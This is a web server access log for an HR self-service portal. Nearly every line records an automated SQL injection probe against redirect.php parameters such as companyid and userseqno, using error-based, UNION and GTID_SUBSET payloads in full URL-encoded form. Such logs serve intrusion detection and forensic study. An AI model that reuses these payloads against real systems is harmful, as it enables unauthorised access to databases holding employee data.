100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4946704f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42313568%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FLw9s%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4946704f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42313568%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FLw9s%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b4e4731%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68365148%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b4e4731%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68365148%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x56474b79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x746d3369%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FhTA1%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x37656a77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51387256%29%2C6420%29--%2F%2A%2A%2FmuLi&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x37656a77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51387256%29%2C6420%29--%2F%2A%2A%2FmuLi&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x66764e46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62625869%29%2C6420%29--%2F%2A%2A%2FKKEw&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x66764e46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62625869%29%2C6420%29--%2F%2A%2A%2FKKEw&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x32303131%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76326a74%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FIDdL%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x32303131%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76326a74%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FIDdL%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a376e66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65685438%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FyqZK&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6b4e4731%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68365148%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x746b7351%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31746261%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F3na5%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x746b7351%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31746261%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F3na5%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d483059%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38766532%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FEFnQ%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d483059%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38766532%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FEFnQ%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6d714d30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54326c4c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6d714d30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x54326c4c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6c4d4a31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62526c4c%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FJaLx%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6c4d4a31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62526c4c%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FJaLx%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x67695a70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e566b59%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F172j&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x56626368%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x777a5633%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F4IGE%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x56626368%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x777a5633%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F4IGE%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x73734b7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58565963%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FuMoq&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x67427167%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33526a4a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F9fp1&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x66764e46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62625869%29%2C6420%29--%2F%2A%2A%2FKKEw&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:28 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x37656a77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51387256%29%2C6420%29--%2F%2A%2A%2FmuLi&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
